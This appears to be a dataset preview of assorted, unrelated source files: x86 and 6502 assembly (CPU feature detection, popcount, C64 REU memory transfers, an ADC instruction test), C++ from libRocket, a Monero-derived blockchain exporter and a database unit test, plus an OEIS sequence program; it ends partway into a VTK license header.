text stringlengths 1 1.05M |
|---|
include uXmx86asm.inc
option casemap:none
ifndef __X64__
.686P
.xmm
.model flat, c
else
.X64P
.xmm
option win64:11
option stackbase:rsp
endif
option frame:auto
.code
align 16
uXm_has_AVX2_VAES proto VECCALL (byte)
align 16
uXm_has_AVX2_VAES proc VECCALL (byte)
mov eax, 1
cpuid
and ecx, bit_OSXS_AVX
cmp ecx, bit_OSXS_AVX ; OSXSAVE AVX feature flags
jne not_supported
; processor supports AVX2 instructions and XGETBV is enabled by OS
mov eax, 7
cpuid
and ebx, bit_AVX2
cmp ebx, bit_AVX2 ; AVX2 support by microprocessor
jne not_supported
and ecx, bit_VAES
cmp ecx, bit_VAES ; VAES support by microprocessor
jne not_supported
mov ecx, 0 ; specify 0 for XCR0 register
xgetbv ; result in edx:eax
and eax, 06h
cmp eax, 06h ; check OS has enabled both XMM and YMM state support
jne not_supported
mov al, true
jmp done
not_supported:
mov al, false
done:
ret
uXm_has_AVX2_VAES endp
end ;.code |
section .data
val dd 513
; 513 = 0b1000000001
; n = 2
; should have eax = rev[0,1,0,...0] = [0,...0,1,0] = 2
;
; 123 = 0b1111011
; n = 6
; should have eax = rev[6%2,15%2,15%2,0,...,0]
; = rev[0,1,1,0,...,0]
; = [0,...,0,1,1,0]
; = 6
printf_format db "val = %u",0x0a,0
section .text
global main
extern printf
main:
mov edi, [val]
mov edx,edi
shr edx,1
and edx,0x55555555
sub edi,edx
mov eax,edi
shr edi,0x2
and eax,0x33333333
and edi,0x33333333
add edi,eax
mov eax,edi
shr eax,0x4
add eax,edi
and eax,0x0f0f0f0f
imul eax,eax,0x01010101
shr eax,0x18
lea edi, [printf_format]
mov esi, eax
xor eax, eax
call printf
ret
|
; A162698: Numbers n such that the incidence matrix of the grid n X n has -1 as eigenvalue.
; 4,5,9,11,14,17,19,23,24,29,34,35,39,41,44,47,49,53,54,59,64,65,69,71,74,77,79,83,84,89,94,95,99,101,104,107,109,113,114,119,124,125,129,131,134,137,139,143,144,149,154,155,159,161,164,167,169,173,174,179,184,185,189,191,194,197,199,203,204,209,214,215,219,221,224,227,229,233,234,239,244,245,249,251,254,257,259,263,264,269,274,275,279,281,284,287,289,293,294,299
mov $4,$0
mov $5,$0
mov $0,4
add $0,$4
add $4,$0
gcd $0,4
mov $3,2
lpb $0
mov $0,1
mov $3,$4
mod $3,5
lpe
mov $1,$3
mov $2,$5
mul $2,3
add $1,$2
mov $0,$1
|
// 1. Цикличен алгоритъм с предварително известен брой изпълнения
#include <iostream>
using namespace std;
int main()
{
int i = 0;
for (i = 1; i < 100; i++)
{
cout << i << " ";
}
return 0;
} |
;;
;; Copyright (c) 2012-2022, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define FUNC submit_job_hmac_sha_224_avx
%define SHA224
%include "avx/mb_mgr_hmac_sha256_submit_avx.asm"
|
// Copyright (c) 2018-2021, CUT coin
// Copyright (c) 2014-2018, The Monero Project
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are
// permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other
// materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "blocksdat_file.h"
#undef MONERO_DEFAULT_LOG_CATEGORY
#define MONERO_DEFAULT_LOG_CATEGORY "bcutil"
namespace po = boost::program_options;
using namespace cryptonote;
using namespace epee;
namespace
{
std::string refresh_string = "\r \r";
}
bool BlocksdatFile::open_writer(const boost::filesystem::path& file_path, uint64_t block_stop)
{
const boost::filesystem::path dir_path = file_path.parent_path();
if (!dir_path.empty())
{
if (boost::filesystem::exists(dir_path))
{
if (!boost::filesystem::is_directory(dir_path))
{
MFATAL("export directory path is a file: " << dir_path);
return false;
}
}
else
{
if (!boost::filesystem::create_directory(dir_path))
{
MFATAL("Failed to create directory " << dir_path);
return false;
}
}
}
m_raw_data_file = new std::ofstream();
MINFO("creating file");
m_raw_data_file->open(file_path.string(), std::ios_base::binary | std::ios_base::out | std::ios::trunc);
if (m_raw_data_file->fail())
return false;
initialize_file(block_stop);
return true;
}
bool BlocksdatFile::initialize_file(uint64_t block_stop)
{
const uint32_t nblocks = (block_stop + 1) / HASH_OF_HASHES_STEP;
unsigned char nblocksc[4];
nblocksc[0] = nblocks & 0xff;
nblocksc[1] = (nblocks >> 8) & 0xff;
nblocksc[2] = (nblocks >> 16) & 0xff;
nblocksc[3] = (nblocks >> 24) & 0xff;
// 4 bytes little endian
*m_raw_data_file << nblocksc[0];
*m_raw_data_file << nblocksc[1];
*m_raw_data_file << nblocksc[2];
*m_raw_data_file << nblocksc[3];
return true;
}
void BlocksdatFile::write_block(const crypto::hash& block_hash)
{
m_hashes.push_back(block_hash);
while (m_hashes.size() >= HASH_OF_HASHES_STEP)
{
crypto::hash hash;
crypto::cn_fast_hash(m_hashes.data(), HASH_OF_HASHES_STEP * sizeof(crypto::hash), hash);
memmove(m_hashes.data(), m_hashes.data() + HASH_OF_HASHES_STEP, (m_hashes.size() - HASH_OF_HASHES_STEP) * sizeof(crypto::hash));
m_hashes.resize(m_hashes.size() - HASH_OF_HASHES_STEP);
const std::string data(hash.data, sizeof(hash));
*m_raw_data_file << data;
}
}
bool BlocksdatFile::close()
{
if (m_raw_data_file->fail())
return false;
m_raw_data_file->flush();
delete m_raw_data_file;
return true;
}
bool BlocksdatFile::store_blockchain_raw(Blockchain* _blockchain_storage, tx_memory_pool* _tx_pool, boost::filesystem::path& output_file, uint64_t requested_block_stop)
{
uint64_t num_blocks_written = 0;
m_blockchain_storage = _blockchain_storage;
uint64_t progress_interval = 100;
block b;
uint64_t block_start = 0;
uint64_t block_stop = 0;
MINFO("source blockchain height: " << m_blockchain_storage->get_current_blockchain_height()-1);
if ((requested_block_stop > 0) && (requested_block_stop < m_blockchain_storage->get_current_blockchain_height()))
{
MINFO("Using requested block height: " << requested_block_stop);
block_stop = requested_block_stop;
}
else
{
block_stop = m_blockchain_storage->get_current_blockchain_height() - 1;
MINFO("Using block height of source blockchain: " << block_stop);
}
MINFO("Storing blocks raw data...");
if (!BlocksdatFile::open_writer(output_file, block_stop))
{
MFATAL("failed to open raw file for write");
return false;
}
for (m_cur_height = block_start; m_cur_height <= block_stop; ++m_cur_height)
{
// this method's height refers to 0-based height (genesis block = height 0)
crypto::hash hash = m_blockchain_storage->get_block_id_by_height(m_cur_height);
write_block(hash);
if (m_cur_height % NUM_BLOCKS_PER_CHUNK == 0) {
num_blocks_written += NUM_BLOCKS_PER_CHUNK;
}
if (m_cur_height % progress_interval == 0) {
std::cout << refresh_string;
std::cout << "block " << m_cur_height << "/" << block_stop << std::flush;
}
}
// print message for last block, which may not have been printed yet due to progress_interval
std::cout << refresh_string;
std::cout << "block " << m_cur_height-1 << "/" << block_stop << ENDL;
MINFO("Number of blocks exported: " << num_blocks_written);
return BlocksdatFile::close();
}
|
/*
* This source file is part of libRocket, the HTML/CSS Interface Middleware
*
* For the latest information, see http://www.librocket.com
*
* Copyright (c) 2008-2010 CodePoint Ltd, Shift Technology Ltd
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*/
#include "precompiled.h"
#include "ElementImage.h"
#include <Rocket/Core.h>
#include "TextureDatabase.h"
#include "TextureResource.h"
namespace Rocket {
namespace Core {
// Constructs a new ElementImage.
ElementImage::ElementImage(const String& tag) : Element(tag), dimensions(-1, -1), geometry(this)
{
ResetCoords();
geometry_dirty = false;
texture_dirty = true;
}
ElementImage::~ElementImage()
{
}
// Sizes the box to the element's inherent size.
bool ElementImage::GetIntrinsicDimensions(Vector2f& _dimensions)
{
// Check if we need to reload the texture.
if (texture_dirty)
LoadTexture();
// Calculate the x dimension.
if (HasAttribute("width"))
dimensions.x = GetAttribute< float >("width", -1);
else if (using_coords)
dimensions.x = (float) (coords[2] - coords[0]);
else
dimensions.x = (float) texture.GetDimensions(GetRenderInterface()).x;
// Calculate the y dimension.
if (HasAttribute("height"))
dimensions.y = GetAttribute< float >("height", -1);
else if (using_coords)
dimensions.y = (float) (coords[3] - coords[1]);
else
dimensions.y = (float) texture.GetDimensions(GetRenderInterface()).y;
// Return the calculated dimensions. If this changes the size of the element, it will result in
// a 'resize' event which is caught below and will regenerate the geometry.
_dimensions = dimensions;
return true;
}
// Renders the element.
void ElementImage::OnRender()
{
// Regenerate the geometry if required (this will be set if 'coords' changes but does not
// result in a resize).
if (geometry_dirty)
GenerateGeometry();
// Render the geometry beginning at this element's content region.
geometry.Render(GetAbsoluteOffset(Rocket::Core::Box::CONTENT));
}
// Called when attributes on the element are changed.
void ElementImage::OnAttributeChange(const Rocket::Core::AttributeNameList& changed_attributes)
{
// Call through to the base element's OnAttributeChange().
Rocket::Core::Element::OnAttributeChange(changed_attributes);
float dirty_layout = false;
// Check for a changed 'src' attribute. If this changes, the old texture handle is released,
// forcing a reload when the layout is regenerated.
if (changed_attributes.find("src") != changed_attributes.end())
{
texture_dirty = true;
dirty_layout = true;
}
// Check for a changed 'width' attribute. If this changes, a layout is forced which will
// recalculate the dimensions.
if (changed_attributes.find("width") != changed_attributes.end() ||
changed_attributes.find("height") != changed_attributes.end())
{
dirty_layout = true;
}
// Check for a change to the 'coords' attribute. If this changes, the coordinates are
// recomputed and a layout forced.
if (changed_attributes.find("coords") != changed_attributes.end())
{
if (HasAttribute("coords"))
{
StringList coords_list;
StringUtilities::ExpandString(coords_list, GetAttribute< String >("coords", ""));
if (coords_list.size() != 4)
{
Rocket::Core::Log::Message(Log::LT_WARNING, "Element '%s' has an invalid 'coords' attribute; coords requires 4 values, found %d.", GetAddress().CString(), coords_list.size());
ResetCoords();
}
else
{
for (size_t i = 0; i < 4; ++i)
coords[i] = atoi(coords_list[i].CString());
// Check for the validity of the coordinates.
if (coords[0] < 0 || coords[2] < coords[0] ||
coords[1] < 0 || coords[3] < coords[1])
{
Rocket::Core::Log::Message(Log::LT_WARNING, "Element '%s' has an invalid 'coords' attribute; invalid coordinate values specified.", GetAddress().CString());
ResetCoords();
}
else
{
// We have new, valid coordinates; force the geometry to be regenerated.
geometry_dirty = true;
using_coords = true;
}
}
}
else
ResetCoords();
// Coordinates have changes; this will most likely result in a size change, so we need to force a layout.
dirty_layout = true;
}
if (dirty_layout)
DirtyLayout();
}
// Regenerates the element's geometry.
void ElementImage::ProcessEvent(Rocket::Core::Event& event)
{
Element::ProcessEvent(event);
if (event.GetTargetElement() == this &&
event == RESIZE)
{
GenerateGeometry();
}
}
void ElementImage::GenerateGeometry()
{
// Release the old geometry before specifying the new vertices.
geometry.Release(true);
std::vector< Rocket::Core::Vertex >& vertices = geometry.GetVertices();
std::vector< int >& indices = geometry.GetIndices();
vertices.resize(4);
indices.resize(6);
// Generate the texture coordinates.
Vector2f texcoords[2];
if (using_coords)
{
Vector2f texture_dimensions((float) texture.GetDimensions(GetRenderInterface()).x, (float) texture.GetDimensions(GetRenderInterface()).y);
if (texture_dimensions.x == 0)
texture_dimensions.x = 1;
if (texture_dimensions.y == 0)
texture_dimensions.y = 1;
texcoords[0].x = (float) coords[0] / texture_dimensions.x;
texcoords[0].y = (float) coords[1] / texture_dimensions.y;
texcoords[1].x = (float) coords[2] / texture_dimensions.x;
texcoords[1].y = (float) coords[3] / texture_dimensions.y;
}
else
{
texcoords[0] = Vector2f(0, 0);
texcoords[1] = Vector2f(1, 1);
}
Rocket::Core::GeometryUtilities::GenerateQuad(&vertices[0], // vertices to write to
&indices[0], // indices to write to
Vector2f(0, 0), // origin of the quad
GetBox().GetSize(Rocket::Core::Box::CONTENT), // size of the quad
Colourb(255, 255, 255, 255), // colour of the vertices
texcoords[0], // top-left texture coordinate
texcoords[1]); // top-right texture coordinate
geometry_dirty = false;
}
bool ElementImage::LoadTexture()
{
texture_dirty = false;
// Get the source URL for the image.
String image_source = GetAttribute< String >("src", "");
if (image_source.Empty())
return false;
geometry_dirty = true;
Rocket::Core::ElementDocument* document = GetOwnerDocument();
URL source_url(document == NULL ? "" : document->GetSourceURL());
if (!texture.Load(image_source, source_url.GetPath()))
{
geometry.SetTexture(NULL);
return false;
}
// Set the texture onto our geometry object.
geometry.SetTexture(&texture);
return true;
}
void ElementImage::ResetCoords()
{
using_coords = false;
for (int i = 0; i < 4; ++i)
coords[i] = -1;
}
}
}
|
; ------------------------------------------------------------------------------
; Runs on 64-bit Linux only.
; To assemble, run:
;
; export var="0b010101010101010"; nasm -felf64 main_a1.asm -g -DVAR=$var && ld main_a1.o -o main_a1 && ./main_a1
;
; Set $var to desired value
; ------------------------------------------------------------------------------
global _start
section .text
itos:
mov ecx, 10
mov ebx, 12
.L0:
mov eax, edi
mov edx, 0
div ecx
add dl, '0'
add ebx, -1
mov [number_as_string + ebx], dl
mov edi, eax
test eax, eax
jne .L0
mov ecx, 12
sub ecx, ebx
mov [str_len], ecx
mov rax, number_as_string
add rax, rbx
ret
getSwitches:
mov eax, edi
and eax, 1
shr edi, 1
je .L7
xor edx, edx
xor esi, esi
.L5:
mov ecx, edi
add edx, 1
shr edi, 1
and ecx, 1
xor eax, ecx
add esi, eax
mov eax, ecx
cmp edx, 30
jg .L8
test edi, edi
jne .L5
.L8:
cmp edx, 31
setne dl
and eax, edx
add eax, esi
ret
.L7:
mov edx, 1
xor esi, esi
and eax, edx
add eax, esi
ret
_start:
; call getSwitches with argument from memory @label "input"
mov edi, [input]
call getSwitches
; save the result to memory
mov [output], rax
; convert input number to sequence of chars
mov edi, [input]
call itos
; syscall write to stdout
mov rdi, 1
mov rsi, rax
mov edx, [str_len]
mov rax, 1
syscall
; write the label to separate input and output
mov rdi, 1
mov rsi, label
mov edx, 9
mov rax, 1
syscall
; cvt output number to sequence of chars
mov edi, [output]
call itos
; print to stdout
mov rdi, 1
mov rsi, rax
mov edx, [str_len]
mov rax, 1
syscall
mov rax, 60 ; system call for exit
xor rdi, rdi
mov rdi, 0 ; exit code 0
syscall ; invoke operating system to exit
section .rodata
label:
db 10, "Result:", 10
section .data
input:
dd VAR
output:
dd 0
section .bss
number_as_string:
resb 12
str_len:
resd 1
|
reu_status = $DF00
reu_command = $DF01
reu_c64base = $DF02
reu_reubase = $DF04
reu_translen = $DF07
reu_irqmask = $DF09
reu_control = $DF0A
reu_needs_loading !byte 0 ; Should be 0 from the start
!zone reu {
reu_error
lda #0
sta use_reu
lda #>.reu_error_msg
ldx #<.reu_error_msg
jsr printstring_raw
- jsr kernal_getchar
beq -
rts
.reu_error_msg
!pet 13,"REU error, disabled. [SPACE]",0
copy_page_to_reu
; a,x = REU page
; y = C64 page
clc
jsr store_reu_transfer_params
- lda #%10110000; c64 -> REU with immediate execution
sta reu_command
; Verify
lda #%10110011; compare c64 to REU with immediate execution
sta reu_command
lda reu_status
and #%00100000
beq +
; Signal REU error and return
sec
rts
+
; Update progress bar
dec progress_reu
bne +
lda reu_progress_base
sta progress_reu
lda #20
jsr s_printchar
+ clc
rts
copy_page_from_reu
; a,x = REU page
; y = C64 page
!ifdef TARGET_C128 {
pha
lda #0
sta allow_2mhz_in_40_col
sta reg_2mhz ;CPU = 1MHz
pla
}
clc
jsr store_reu_transfer_params
lda #%10110001; REU -> c64 with immediate execution
sta reu_command
!ifdef TARGET_C128 {
restore_2mhz
lda #1
sta allow_2mhz_in_40_col
ldx COLS_40_80
beq +
lda use_2mhz_in_80_col
sta reg_2mhz ;CPU = 2MHz
+
}
rts
store_reu_transfer_params
; a,x = REU page
; y = C64 page
; Transfer size: $01 if C is set, $100 if C is clear
sta reu_reubase + 2
stx reu_reubase + 1
sty reu_c64base + 1
ldx #0
stx reu_irqmask
stx reu_control ; to make sure both addresses are counted up
stx reu_c64base
stx reu_reubase
; Transfer size: $01 if C is set, $100 if C is clear
lda #>$0100 ; Transfer one page
bcc +
; Set transfer size to $01
txa
inx
+ stx reu_translen
sta reu_translen + 1
rts
.size = object_temp
.old = object_temp + 1
.temp = vmem_cache_start + 2
check_reu_size
; Robin Harbron version
; lda #0
; sta $df04
; sta $df05
; sta $df08
; sta $df0a
; lda #1
; sta $df07
; lda #<.temp
; sta $df02
; lda #>.temp
; sta $df03
; ldx #0
; .loop1
; stx $df06
; stx .temp
; lda #178
; sta $df01
; lda .temp
; sta .temp+1,x
; inx
; bne .loop1
; ldy #177
; ldx #0
; stx .old
; .loop2
; stx $df06
; sty $df01
; lda .temp
; cmp .old
; bcc .next
; sta .old
; inx
; bne .loop2
; .next
; stx .size
; ldy #176
; ldx #255
; .loop3
; stx $df06
; lda .temp+1,x
; sta .temp
; sty $df01
; dex
; cpx #255
; bne .loop3
; lda .size
rts
; My verison
; ldx #0
; stx object_temp
; ; %%%
; ; Backup the first value in each 64 KB block in REU, to C64 memory
; - lda object_temp
; ldx #0
; ldy #1
; sec
; jsr store_reu_transfer_params
; lda #%10110001; REU -> c64 with immediate execution
; sta reu_command
; lda $100
; ldx object_temp
; sta $101,x
; ; Write the number of the 64KB block to the first byte in the block
; lda object_temp
; sta $100
; ldx #0
; ldy #1 ; Should be able to skip this
; sec
; jsr store_reu_transfer_params
; lda #%10110000; c64 -> REU with immediate execution
; sta reu_command
; ; Read the number in the first byte of the first 64 KB block to see if it's untouched
; lda #0
; tax
; ldy #1 ; Should be able to skip this
; sec
; jsr store_reu_transfer_params
; lda #%10110001; REU -> c64 with immediate execution
; sta reu_command
; lda $100
; cmp #0
; bne +
; inc object_temp
; lda object_temp
; cmp #32
; bcc -
; +
; ; Restore the original contents in all blocks
; ldx object_temp ; This now holds the # of 64 KB blocks available in REU
; dex
; stx object_temp + 1
; ; Write the original content of the first byte of each 64KB block to the REU
; - ldx object_temp + 1
; lda $101,x
; sta $100
; ldx #0
; ldy #1 ; Should be able to skip this
; sec
; jsr store_reu_transfer_params
; lda #%10110000; c64 -> REU with immediate execution
; sta reu_command
; dec object_temp + 1
; bpl -
; rts
}
|
SECTION code_fp_math48
PUBLIC cm48_sdccixp_d2m48, cm48_sdccixp_dx2m48
cm48_sdccixp_dx2m48:
; DEHL = sdcc_float
ex de,hl
cm48_sdccixp_d2m48:
; convert sdcc_float to math48 float
;
; enter : HLDE = sdcc_float
;
; exit : AC' = math48 float
; (exx set is swapped)
;
; uses : f, bc, de, hl, bc', de', hl'
ld a,d
or e
or h
or l
jr z, zero
add hl,hl
rr l
inc h
inc h
zero:
ld c,d
ld d,e
ld b,l
ld l,h
ld e,0
ld h,e
exx
ret
|
#include <memory>
#include "gtest/gtest.h"
#include "base_test.hpp"
#include "logical_query_plan/predicate_node.hpp"
#include "logical_query_plan/stored_table_node.hpp"
namespace opossum {
class PredicateNodeTest : public BaseTest {
protected:
void SetUp() override {
StorageManager::get().add_table("table_a", load_table("src/test/tables/int_float_double_string.tbl", 2));
_table_node = StoredTableNode::make("table_a");
_predicate_node = PredicateNode::make(LQPColumnReference{_table_node, ColumnID{0}}, PredicateCondition::Equals, 5);
_predicate_node->set_left_input(_table_node);
}
std::shared_ptr<StoredTableNode> _table_node;
std::shared_ptr<PredicateNode> _predicate_node;
};
TEST_F(PredicateNodeTest, Descriptions) {
EXPECT_EQ(_predicate_node->description(), "[Predicate] table_a.i = 5");
auto predicate_b =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{1}}, PredicateCondition::NotEquals, 2.5);
predicate_b->set_left_input(_table_node);
EXPECT_EQ(predicate_b->description(), "[Predicate] table_a.f != 2.5");
auto predicate_c =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{2}}, PredicateCondition::Between, 2.5, 10.0);
predicate_c->set_left_input(_table_node);
EXPECT_EQ(predicate_c->description(), "[Predicate] table_a.d BETWEEN 2.5 AND 10");
auto predicate_d =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{3}}, PredicateCondition::Equals, "test");
predicate_d->set_left_input(_table_node);
EXPECT_EQ(predicate_d->description(), "[Predicate] table_a.s = test");
}
TEST_F(PredicateNodeTest, ShallowEquals) {
EXPECT_TRUE(_predicate_node->shallow_equals(*_predicate_node));
const auto other_predicate_node_a =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{0}}, PredicateCondition::Equals, 5, _table_node);
const auto other_predicate_node_b =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{1}}, PredicateCondition::Equals, 5, _table_node);
const auto other_predicate_node_c =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{0}}, PredicateCondition::NotLike, 5, _table_node);
const auto other_predicate_node_d =
PredicateNode::make(LQPColumnReference{_table_node, ColumnID{0}}, PredicateCondition::Equals, 6, _table_node);
EXPECT_TRUE(_predicate_node->shallow_equals(*other_predicate_node_a));
EXPECT_FALSE(_predicate_node->shallow_equals(*other_predicate_node_b));
EXPECT_FALSE(_predicate_node->shallow_equals(*other_predicate_node_c));
EXPECT_FALSE(_predicate_node->shallow_equals(*other_predicate_node_d));
}
} // namespace opossum
|
*= $0801
.byte $4c,$16,$08,$00,$97,$32
.byte $2c,$30,$3a,$9e,$32,$30
.byte $37,$30,$00,$00,$00,$a9
.byte $01,$85,$02
jsr print
.byte 13
.text "(up)adcay"
.byte 0
lda #%00011011
sta db
lda #%11000110
sta ab
lda #%10110001
sta xb
lda #%01101100
sta yb
lda #0
sta pb
tsx
stx sb
lda #0
sta db
sta ab
sta yb
next lda pb
and #%00001000
bne decmode
lda db
sta da
sta dr
sta cmd0+1
and #$7f
sta cmd1+1
clc
lda pb
and #1
beq noc
sec
noc php
lda ab
cmd0 adc #0
sta ar
lda pb
ora #%00110000
and #%00111100
bcc noc1
ora #1
noc1 tax
lda ab
and #$7f
plp
cmd1 adc #0
bmi neg
txa
and #1
beq cont
set txa
ora #%01000000
tax
jmp cont
neg txa
and #1
beq set
cont lda ar
cmp #0
bne nozero
txa
ora #%00000010
tax
nozero lda ar
bpl noneg
txa
ora #%10000000
tax
noneg stx pr
jmp deccont
decmode
.block
lda db
sta da
sta dr
and #$0f
sta l0+1
lda pb
ora #%00110000
and #%00111100
tax
lda pb
lsr a
lda ab
and #$0f
l0 adc #0
ldy #$00
cmp #$0a
bcc l1
sec
sbc #$0a
and #$0f
ldy #$08
l1 sta ar
sty l2+1
sty l3+1
lda db
and #$f0
ora l3+1
sta l3+1
lda ab
and #$f0
l2 ora #0
clc
l3 adc #0
php
bcs l4
cmp #$a0
bcc l5
l4 sec
sbc #$a0
inx
l5 ora ar
sta ar
plp
bvc nov
php
txa
ora #%01000000
tax
plp
nov bpl non
txa
ora #%10000000
tax
non lda pb
lsr a
lda ab
adc db
bne noz
txa
ora #%00000010
tax
noz stx pr
.bend
deccont lda xb
sta xr
lda yb
sta yr
lda sb
sta sr
ldx sb
txs
lda pb
pha
lda ab
ldx xb
ldy yb
plp
cmd adc da,y
php
cld
sta aa
stx xa
sty ya
pla
sta pa
tsx
stx sa
jsr check
inc cmd+1
bne noinc
inc cmd+2
noinc lda yb
bne nodec
dec cmd+2
nodec dec yb
clc
lda db
adc #17
sta db
bcc jmpnext
lda #0
sta db
clc
lda ab
adc #17
sta ab
bcc jmpnext
lda #0
sta ab
inc pb
beq nonext
jmpnext jmp next
nonext
jsr print
.text " - ok"
.byte 13,0
lda 2
beq load
wait jsr $ffe4
beq wait
jmp $8000
load jsr print
name .text "adcix"
namelen = *-name
.byte 0
lda #0
sta $0a
sta $b9
lda #namelen
sta $b7
lda #<name
sta $bb
lda #>name
sta $bc
pla
pla
jmp $e16f
db .byte 0
ab .byte 0
xb .byte 0
yb .byte 0
pb .byte 0
sb .byte 0
da .byte 0
aa .byte 0
xa .byte 0
ya .byte 0
pa .byte 0
sa .byte 0
dr .byte 0
ar .byte 0
xr .byte 0
yr .byte 0
pr .byte 0
sr .byte 0
check
.block
lda da
cmp dr
bne error
lda aa
cmp ar
bne error
lda xa
cmp xr
bne error
lda ya
cmp yr
bne error
lda pa
cmp pr
bne error
lda sa
cmp sr
bne error
rts
error jsr print
.byte 13
.null "before "
ldx #<db
ldy #>db
jsr showregs
jsr print
.byte 13
.null "after "
ldx #<da
ldy #>da
jsr showregs
jsr print
.byte 13
.null "right "
ldx #<dr
ldy #>dr
jsr showregs
lda #13
jsr $ffd2
wait jsr $ffe4
beq wait
cmp #3
beq stop
rts
stop lda 2
beq basic
jmp $8000
basic jmp ($a002)
showregs stx 172
sty 173
ldy #0
lda (172),y
jsr hexb
lda #32
jsr $ffd2
lda #32
jsr $ffd2
iny
lda (172),y
jsr hexb
lda #32
jsr $ffd2
iny
lda (172),y
jsr hexb
lda #32
jsr $ffd2
iny
lda (172),y
jsr hexb
lda #32
jsr $ffd2
iny
lda (172),y
ldx #"n"
asl a
bcc ok7
ldx #"N"
ok7 pha
txa
jsr $ffd2
pla
ldx #"v"
asl a
bcc ok6
ldx #"V"
ok6 pha
txa
jsr $ffd2
pla
ldx #"0"
asl a
bcc ok5
ldx #"1"
ok5 pha
txa
jsr $ffd2
pla
ldx #"b"
asl a
bcc ok4
ldx #"B"
ok4 pha
txa
jsr $ffd2
pla
ldx #"d"
asl a
bcc ok3
ldx #"D"
ok3 pha
txa
jsr $ffd2
pla
ldx #"i"
asl a
bcc ok2
ldx #"I"
ok2 pha
txa
jsr $ffd2
pla
ldx #"z"
asl a
bcc ok1
ldx #"Z"
ok1 pha
txa
jsr $ffd2
pla
ldx #"c"
asl a
bcc ok0
ldx #"C"
ok0 pha
txa
jsr $ffd2
pla
lda #32
jsr $ffd2
iny
lda (172),y
.bend
hexb pha
lsr a
lsr a
lsr a
lsr a
jsr hexn
pla
and #$0f
hexn ora #$30
cmp #$3a
bcc hexn0
adc #6
hexn0 jmp $ffd2
print pla
.block
sta print0+1
pla
sta print0+2
ldx #1
print0 lda !*,x
beq print1
jsr $ffd2
inx
bne print0
print1 sec
txa
adc print0+1
sta print2+1
lda #0
adc print0+2
sta print2+2
print2 jmp !*
.bend
|
/*=========================================================================
Program: Visualization Toolkit
Module: vtkParametricMobius.cxx
Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen
All rights reserved.
See Copyright.txt or http://www.kitware.com/Copyright.htm for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
